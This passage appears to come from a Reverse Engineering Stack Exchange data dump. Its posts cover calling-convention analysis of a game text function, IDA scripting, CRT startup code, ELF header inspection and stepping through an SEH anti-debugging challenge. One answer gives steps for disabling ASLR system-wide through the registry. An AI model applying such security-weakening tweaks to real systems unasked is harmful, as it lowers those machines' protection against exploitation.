cmova   r14d, ecx&#xA;    vaddss  xmm1, xmm1, dword ptr cs:qword_10799B8+8&#xA;    vucomiss xmm1, dword ptr cs:qword_10799B8+0Ch&#xA;    cmova   r14d, eax&#xA;    vmovss  [rbp+var_168], xmm0&#xA;    vmovss  xmm1, [rbp+var_164]&#xA;    mov     esi, r14d&#xA;    mov     al, 3&#xA;    call    DrawText&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's what I gathered so far (not sure if it's right though), 1st arg is a pointer &lt;code&gt;lea rdi, [rbp+var_108]&lt;/code&gt; 2nd and 3rd are floats which is the positioning coordinates:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;vmovss  xmm1, dword ptr cs:qword_10799B8&#xA;vdivss  xmm1, xmm1, xmm2&#xA;vmovss  [rbp+var_16C], xmm1&#xA;vcvtss2sd xmm2, xmm2, xmm2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;4th and 6th are int's (hex code for rgb colors I assume) &lt;code&gt;mov esi, r14d&lt;/code&gt; and &lt;code&gt;mov ecx, 0FF00FFFFh&lt;/code&gt; the 5th arg is a char pointer &lt;code&gt;lea rdx, a62fFps&lt;/code&gt;. The function doesn't return anything so i'm sure it's a void.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void(*DrawText)(int *, float x, float y, int color, int, const char * text)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to call this way but it also crashes, please let me know if I got something wrong and explain stuff because i'm little newbee when it comes to assembly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This is not a &lt;strong&gt;PLEASE DO IT FOR ME&lt;/strong&gt; question but rather explain how do I read the params properly, I don't mind posting the final result at the end of the answer though.&lt;/p&gt;&#xA;" OwnerUserId="11482" LastEditorUserId="11482" LastEditDate="2018-05-05T18:47:10.720" LastActivityDate="2018-05-05T19:08:49.233" Title="Reading params of a text engine function amd86_64" Tags="|assembly|x86-64|arguments|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18183" PostTypeId="2" ParentId="18182" CreationDate="2018-05-05T18:42:24.187" Score="1" Body="&lt;p&gt;You need to read from the bottom up. I have no experience with the AMD64 calling convention but here's my take:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wikipedia says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The first six integer or pointer arguments are passed in registers RDI, RSI, RDX, RCX, R8, R9 (R10 is used as a static chain pointer in case of nested functions[19]:21), while XMM0, XMM1, XMM2, XMM3, XMM4, XMM5, XMM6 and XMM7 are used for certain floating point arguments.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Judging from that I'd say the following mapping would be right then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Argument #  | Register   | Desc&#xA;------------|------------|---------&#xA;1           | rdi        | int *&#xA;2           | xmm0       | x&#xA;3           | xmm1       | y&#xA;4           | rsi        | int color&#xA;5           | rdx        | unnamed int&#xA;6           | rcx        | const char *text&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The following was my mistake as I misread the post, the old signature posted at the top agrees with me, the one at the bottom does not&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but when I worked through your code reading bottom up it didn't fit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea     rdx, a62fFps&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that loads the text to print into &lt;code&gt;rdx&lt;/code&gt; but if above mapping would be right, &lt;code&gt;rdx&lt;/code&gt; should be some unnamed int, and only the next argument would be the text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this may be my fault because I may have missed some nuance of AMD64.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;End of mistake&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back to what does work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first argument, the pointer, should be in &lt;code&gt;rdi&lt;/code&gt;. If you read upwards, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea     rdi, [rbp+var_108]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is the first line to write to &lt;code&gt;rdi&lt;/code&gt;, so that's your pointer (it fits the type). Floats seem to be passed via &lt;code&gt;xmm0&lt;/code&gt; and &lt;code&gt;xmm1&lt;/code&gt; so those will be &lt;code&gt;x&lt;/code&gt; and &lt;code&gt;y&lt;/code&gt;. The color is the 2nd non-float argument, which would be in &lt;code&gt;rsi&lt;/code&gt; and reading the code we find:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     esi, r14d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;code&gt;rsi&lt;/code&gt; contains &lt;code&gt;esi&lt;/code&gt;, so that would be your color, only it's 32 bit in size. If you read the code, it also seems to fit the color type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then above problem appears where I was expecting another int but the next argument seems to be the text instead.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastEditorUserId="23277" LastEditDate="2018-05-05T19:08:49.233" LastActivityDate="2018-05-05T19:08:49.233" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="18184" PostTypeId="2" ParentId="18179" CreationDate="2018-05-05T19:05:54.463" Score="2" Body="&lt;p&gt;May be bit of an odd question - but how do you run the script? Hotkeys don't work while the structure view is open, and if you run a script via &lt;code&gt;Alt+F7&lt;/code&gt; for example the cursor position changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, one solution that may be good enough:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import ida_kernwin&#xA;&#xA;ret = ida_kernwin.get_highlight(ida_kernwin.get_current_widget())&#xA;if ret and ret[1]:&#xA;    print &quot;Current highlight: %s&quot; % ret[0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, you need to click the structure name so it's highlighted (yellow), then the above code will print the struct name.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2018-05-05T19:05:54.463" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18186" PostTypeId="1" CreationDate="2018-05-05T23:25:56.057" Score="0" ViewCount="559" Body="&lt;p&gt;I'm trying to use immunity debugger to step through a confusing binary.&#xA;When I open it in IDA Pro, I see certain addresses next to the instructions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:01001392                 inc     eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I execute the binary, it simply executes and produces no output. So, I want to put a breakpoint at that line to step through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But Immunity says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;No memory on the specified address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I search that specific address. How do I add a breakpoint in immunity to the this line in IDA?&lt;/p&gt;&#xA;" OwnerUserId="24272" LastActivityDate="2018-05-06T21:43:13.933" Title="IDA Pro Address doesn't correlate to Immunity Debugger address" Tags="|ida|binary-analysis|x86|immunity-debugger|intel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18188" PostTypeId="2" ParentId="18174" CreationDate="2018-05-06T09:24:23.763" Score="2" Body="&lt;p&gt;Try to be the unpacker. Usually you would need some kind of information about the file you need to unpack at a fixed file position. Like the start, or the end.&#xA;Try to indentify obvious breaks in the file, and correlate those with numbers found at the start or end of file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But,  maybe the file is compressed without any header, or encrypted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes it helps to find the binary which does the decoding, and try to identify the relevant code in it. Maybe you will find a string hinting at a specific compression algorithm, or a decryption key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try googling for the value of the first few bytes of the file, maybe someone else posted about it.&lt;/p&gt;&#xA;" OwnerUserId="1842" LastActivityDate="2018-05-06T09:24:23.763" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18189" PostTypeId="1" CreationDate="2018-05-06T18:09:34.520" Score="1" ViewCount="69" Body="&lt;p&gt;Where does these functions comes from usually ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compiler&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Include files&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DLL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;??&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int f(int a) {&#xA;    int b=5;&#xA;    char c;&#xA;&#xA;    c = a + b;&#xA;    return c;   &#xA;}&#xA;&#xA;int main(int argc, char **argv) {&#xA;&#xA;    int a = 3;&#xA;    int b;&#xA;&#xA;    b = f(a);   &#xA;    printf(&quot;Result: %d\n&quot;,b);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RPttX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RPttX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24017" LastActivityDate="2018-05-06T20:09:05.580" Title="During compiling does the compiler add more functions to the code?" Tags="|disassembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18190" PostTypeId="2" ParentId="18189" CreationDate="2018-05-06T19:29:20.570" Score="1" Body="&lt;p&gt;The Compiler does not add any functions &lt;/p&gt;&#xA;&#xA;&lt;p&gt;think how printf() can work ?&#xA;where can it print ?&#xA;does your program know or do you allocate a console for printf() to print ?&#xA;do you know where the main returns to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;no you don't and neither you coded those functions &#xA;but for proper functioning of your code you need a console window&#xA;and after your program finishes and wants to return it needs to know where to return to and how to de allocate all the memory , consoles , handles it uses &lt;/p&gt;&#xA;&#xA;&lt;p&gt;all these job are done by CRT code (c run-time initialization code) &#xA;most of those code are in the include file stdio.h (this header includes other needed files )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the compiler then compiles all this code into a single executable&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can also write explicit code and remove all these functions and provide an entry point &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is an example of explicit code that allocates and writes to the allocated &#xA;Console and Exits using the algo in your query&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;&#xA;int f(int a) { return a + 5; }&#xA;void main(void) {&#xA;    if ( !AllocConsole()) { goto door; }&#xA;    HANDLE out = GetStdHandle(STD_OUTPUT_HANDLE);&#xA;    if (out == INVALID_HANDLE_VALUE) { goto door; }&#xA;    char buff[20] = { 0 };  DWORD cwritten = 0;&#xA;    wsprintf(buff, &quot;Result: %d\n&quot;, f(3));&#xA;    WriteConsole(out, buff, sizeof(buff), &amp;amp;cwritten, NULL);&#xA;    Sleep(10000);&#xA;door:&#xA;    ExitProcess(0);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled and linked in vs 2017 cmdprompt&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;compiled with cl /Zi /W4 /analyze /GS- /Ox &#xA;linked with /release /nodefaultlib /subsystem:windows /entry:main kernel32.lib user32.lib&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;here is a screen shot of function calls from ida free 5&#xA;&lt;a href=&quot;https://i.stack.imgur.com/iXhfV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iXhfV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can double click the exe and it will work no need to run this from cmd.exe &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WEJcE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WEJcE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-05-06T20:09:05.580" LastActivityDate="2018-05-06T20:09:05.580" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18191" PostTypeId="2" ParentId="18166" CreationDate="2018-05-06T20:15:00.120" Score="1" Body="&lt;p&gt;The the base address of the binary given as &lt;code&gt;0x60000000&lt;/code&gt; in the screenshot (&lt;code&gt;bin.baddr = 0x60000000&lt;/code&gt;). This does not seem to be correct. The address of the first loadable segment in the binary is &lt;code&gt;0x00400000&lt;/code&gt;, and the entry point address (in other words, the address of &lt;code&gt;_start&lt;/code&gt;) is &lt;code&gt;0x405090&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;By &quot;this file&quot; do you mean the one called &lt;code&gt;resident&lt;/code&gt; from &lt;a href=&quot;https://drive.google.com/open?id=1socXlGx84o25QpfNjNJRAR1ldM4IQoK0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/open?id=1socXlGx84o25QpfNjNJRAR1ldM4IQoK0&lt;/a&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ md5sum resident&#xA;75e019a169403e19eb59c59961d5bddf  resident&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.virustotal.com/#/file/bc1f644cee8ac02f8a30527e1840ad154b185957661feb02bf9cc90bd8745320/details&quot; rel=&quot;nofollow noreferrer&quot;&gt;It came up clean&lt;/a&gt; on VirusTotal . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is nothing remarkable about this binary as far as I can tell. The header is not malformed, there is no evidence of packing and the code in the binary can be disassembled just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Entropy plot:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/LoA41.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LoA41.png&quot; alt=&quot;file entropy plot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hex dump of ELF header: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ hexdump -C -n 52 resident&#xA;00000000  7f 45 4c 46 01 02 01 00  00 00 00 00 00 00 00 00  |.ELF............|&#xA;00000010  00 02 00 08 00 00 00 01  00 40 50 90 00 00 00 34  |.........@P....4|&#xA;00000020  00 01 91 30 70 00 10 07  00 34 00 20 00 08 00 28  |...0p....4. ...(|&#xA;00000030  00 1a 00 19                                       |....|&#xA;00000034&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;readelf -h&lt;/code&gt; output (take note of the entry point address &lt;code&gt;0x405090&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf -h resident &#xA;ELF Header:&#xA;  Magic:   7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 &#xA;  Class:                             ELF32&#xA;  Data:                              2's complement, big endian&#xA;  Version:                           1 (current)&#xA;  OS/ABI:                            UNIX - System V&#xA;  ABI Version:                       0&#xA;  Type:                              EXEC (Executable file)&#xA;  Machine:                           MIPS R3000&#xA;  Version:                           0x1&#xA;  Entry point address:               0x405090               &amp;lt;--------&#xA;  Start of program headers:          52 (bytes into file)&#xA;  Start of section headers:          102704 (bytes into file)&#xA;  Flags:                             0x70001007, noreorder, pic, cpic, o32, mips32r2&#xA;  Size of this header:               52 (bytes)&#xA;  Size of program headers:           32 (bytes)&#xA;  Number of program headers:         8&#xA;  Size of section headers:           40 (bytes)&#xA;  Number of section headers:         26&#xA;  Section header string table index: 25&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A visual display of the above information:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7QdVa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7QdVa.png&quot; alt=&quot;ELF header visualization&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;disassembly beginning at entry point &lt;code&gt;0x405090&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -a mips resident&#xA; -- There's no way you could crash radare2. No. Way.&#xA;[0x00405090]&amp;gt; pd&#xA;            ;-- entry0:&#xA;            ;-- __start:&#xA;            0x00405090      03e00021       move zero, ra&#xA;            0x00405094      04110001       bal 0x40509c&#xA;            0x00405098      00000000       nop&#xA;            0x0040509c      3c1c0043       lui gp, 0x43&#xA;            0x004050a0      279cf770       addiu gp, gp, -0x890&#xA;            0x004050a4      0000f821       move ra, zero&#xA;            0x004050a8      8f848018       lw a0, -0x7fe8(gp)&#xA;            0x004050ac      8fa50000       lw a1, (sp)&#xA;            0x004050b0      27a60004       addiu a2, sp, 4&#xA;            0x004050b4      2401fff8       addiu at, zero, -8&#xA;            0x004050b8      03a1e824       and sp, sp, at&#xA;            0x004050bc      27bdffe0       addiu sp, sp, -0x20&#xA;            0x004050c0      8f87801c       lw a3, -0x7fe4(gp)&#xA;            0x004050c4      8f888020       lw t0, -0x7fe0(gp)&#xA;            0x004050c8      afa80010       sw t0, 0x10(sp)&#xA;            0x004050cc      afa20014       sw v0, 0x14(sp)&#xA;            0x004050d0      afbd0018       sw sp, 0x18(sp)&#xA;            0x004050d4      8f9983d0       lw t9, -0x7c30(gp)&#xA;            0x004050d8      0320f809       jalr t9&#xA;            &amp;lt; output snipped &amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Take note of the address of the first loadable segment of the binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf -l resident&#xA;&#xA;Elf file type is EXEC (Executable file)&#xA;Entry point 0x405090&#xA;There are 8 program headers, starting at offset 52&#xA;&#xA;Program Headers:&#xA;  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align&#xA;  PHDR           0x000034 0x00400034 0x00400034 0x00100 0x00100 R E 0x4&#xA;  INTERP         0x000134 0x00400134 0x00400134 0x00014 0x00014 R   0x1&#xA;      [Requesting program interpreter: /lib/ld-uClibc.so.0]&#xA;  REGINFO        0x000148 0x00400148 0x00400148 0x00018 0x00018 R   0x4&#xA;  LOAD           0x000000 0x00400000 0x00400000 0x166d8 0x166d8 R E 0x10000  &amp;lt;----&#xA;  LOAD           0x017000 0x00427000 0x00427000 0x00db0 0x00f18 RW  0x10000&#xA;  DYNAMIC        0x000160 0x00400160 0x00400160 0x000f0 0x000f0 RWE 0x4&#xA;  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10&#xA;  NULL           0x000000 0x00000000 0x00000000 0x00000 0x00000     0x4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2018-05-06T20:15:00.120" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="18192" PostTypeId="1" AcceptedAnswerId="18194" CreationDate="2018-05-06T20:36:27.737" Score="0" ViewCount="2302" Body="&lt;p&gt;I have some code which makes use of the Structured Exception Handler in order to employ some anti-debugging voodoo. It executes a series of instructions and I need to get the correct input. I can see the instructions and can reverse the ones that work directly with my input, but there is some background work (which happens at [esi]) - that also plays a part in the challenge. If I could follow the instructions step by step, I could make some great progress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1qgER.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1qgER.png&quot; alt=&quot;first instruction set&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Yqhnb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yqhnb.png&quot; alt=&quot;instructions in exception handler after first instruction set&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/x858j.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/x858j.png&quot; alt=&quot;second instruction set&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I was saying, there are sets of instructions which work on my input. Let's say I am at 0x402DC0. The problem is that once I get to 0xCC, the debugger alerts me of the BREAKPOINT_EXCEPTION (I choose to Step Over) and then, instead of taking me (nicely and slowly) to the address 0x402B5D, the debugger skips to 0x402F1E (this behaviour repeats itself with another 8 sets of instructions each with its own exception handler thingy). The instructions get executed though - I figured it out giving the program different inputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume the program creates exceptions then just makes the jumps using SEH. The anti-debugging thingy is the fact that it doesn't let me go step by step, I suppose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question: Can I somehow step into the function at 0x402B5D, then going step by step just like when I am debugging a simple program?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried modifying EIP and then Stepping Into (also swallowing the exception), but this does not produce the desired result because the instruction at 0x402B6D will produce another exception - I access [esi] which is out of the memory map of the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is there any way I could find the instructions which make up the Exception Handler (in my program)? &#xA;Reading up on it (&lt;a href=&quot;http://bytepointer.com/resources/pietrek_crash_course_depths_of_win32_seh.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bytepointer.com/resources/pietrek_crash_course_depths_of_win32_seh.htm&lt;/a&gt;) gave me a basic understanding of the mechanics under the hood. I've also tried to follow the pointer in the SEH chain, but the kernel functions don't help much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The registers (at least some of them) are clearly modified because the program goes on flawlessly (if I do not modify EIP). Can I find the function which modifies them?&lt;/p&gt;&#xA;" OwnerUserId="24282" LastActivityDate="2018-05-06T22:58:59.790" Title="&quot;Stepping Into&quot; Exception Handler" Tags="|seh|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18193" PostTypeId="2" ParentId="18186" CreationDate="2018-05-06T21:43:13.933" Score="1" Body="&lt;p&gt;This could be ASLR (Address Space Layout Randomization). It randomly changes the base address for binaries so people cannot rely on fixed addresses if they try to write an exploit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few ways to disable it, some global, some for specific executables. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way to disable it for a single executable is opening it in a PE editor and removing/renaming the &lt;code&gt;.reloc&lt;/code&gt; section - it is required to move the code around and if it isn't present, the base address from the header will be honored by the loader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or to disable it for the whole system, use regedit to add this value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;“MoveImages”=dword:00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;under this key:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then reboot.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2018-05-06T21:43:13.933" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18194" PostTypeId="2" ParentId="18192" CreationDate="2018-05-06T22:34:21.000" Score="1" Body="&lt;p&gt;from your second screen shot  [ebp+10] will point to _CONTEXT &#xA;ebx = [ebp+10] -&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ebx == CONTEXT-&amp;gt;FirstMember ==ContextFlags&#xA;ebx+4 ==  CONTEXT-&amp;gt;SecondMember  == Dr0 (Debug Register 0)&#xA;ebx+a0 ==  Register Esi&#xA;ebx + b8 == Eip (this is where the execution will continue )&#xA;ebx+b0 == Eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you have a hardware breakpoint you will get a different esi (see the xor) &#xA;when you resume&lt;br&gt;&#xA;also your eax is xorred with some magic constant 0xde266de &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and on resuming the ax is used&lt;br&gt;&#xA;but after this one needs to see the further handlers &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the second address 402ef6 also seems to end in an int3 but this time the exception handler is 402d95 so you have more spleunking&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can single step just set a breakpoint in ntdll!ExecuteHandler2 (win7 32 bit) &#xA;and you will see a call ecx&lt;br&gt;&#xA;this call will normally call the handler &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; uf ntdll!ExecuteHandler2&#xA;ntdll!ExecuteHandler2:&#xA;775371d3 55              push    ebp&#xA;775371d4 8bec            mov     ebp,esp&#xA;775371d6 ff750c          push    dword ptr [ebp+0Ch]&#xA;775371d9 52              push    edx&#xA;775371da 64ff3500000000  push    dword ptr fs:[0]&#xA;775371e1 64892500000000  mov     dword ptr fs:[0],esp&#xA;775371e8 ff7514          push    dword ptr [ebp+14h]&#xA;775371eb ff7510          push    dword ptr [ebp+10h]&#xA;775371ee ff750c          push    dword ptr [ebp+0Ch]&#xA;775371f1 ff7508          push    dword ptr [ebp+8]&#xA;775371f4 8b4d18          mov     ecx,dword ptr [ebp+18h]&#xA;775371f7 ffd1            call    ecx &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;775371f9 648b2500000000  mov     esp,dword ptr fs:[0]&#xA;77537200 648f0500000000  pop     dword ptr fs:[0]&#xA;77537207 8be5            mov     esp,ebp&#xA;77537209 5d              pop     ebp&#xA;7753720a c21400          ret     14h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;context when on handler start&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; r&#xA;eax=00000000 ebx=00000000 ecx=0040107f edx=7753720d esi=00000000 edi=00000000&#xA;eip=0040107f esp=0012fb90 ebp=0012fbb0 iopl=0         nv up ei pl zr na pe nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246&#xA;except1!HANDLER:&#xA;0040107f 53              push    ebx&#xA;0:000&amp;gt; ?? (ntdll!_context *) @@masm(poi(ebp+10))&#xA;struct _CONTEXT * 0x0012fc8c&#xA;   +0x000 ContextFlags     : 0x1003f&#xA;   +0x004 Dr0              : 0&#xA;   +0x008 Dr1              : 0&#xA;   +0x00c Dr2              : 0&#xA;   +0x010 Dr3              : 0&#xA;   +0x014 Dr6              : 0&#xA;   +0x018 Dr7              : 0&#xA;   +0x01c FloatSave        : _FLOATING_SAVE_AREA&#xA;   +0x08c SegGs            : 0&#xA;   +0x090 SegFs            : 0x3b&#xA;   +0x094 SegEs            : 0x23&#xA;   +0x098 SegDs            : 0x23&#xA;   +0x09c Edi              : 0&#xA;   +0x0a0 Esi              : 0&#xA;   +0x0a4 Ebx              : 0x7ffd4000&#xA;   +0x0a8 Edx              : 0x775370f4&#xA;   +0x0ac Ecx              : 0&#xA;   +0x0b0 Eax              : 0&#xA;   +0x0b4 Ebp              : 0x12ff94&#xA;   +0x0b8 Eip              : 0x401072&#xA;   +0x0bc SegCs            : 0x1b&#xA;   +0x0c0 EFlags           : 0x10246&#xA;   +0x0c4 Esp              : 0x12ff70&#xA;   +0x0c8 SegSs            : 0x23&#xA;   +0x0cc ExtendedRegisters : [512]  &quot;???&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;check the address where exception happened in the CONTEXT-&gt;Eip&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; u 401072 l1&#xA;except1!PROTECTED_AREA+0x1f:&#xA;00401072 f7f1            div     eax,ecx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you can see both eax , and ecx are 0 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and you can see the Exception Code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; dd poi(ebp+8) l1&#xA;0012fc78  c0000094  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; divide by 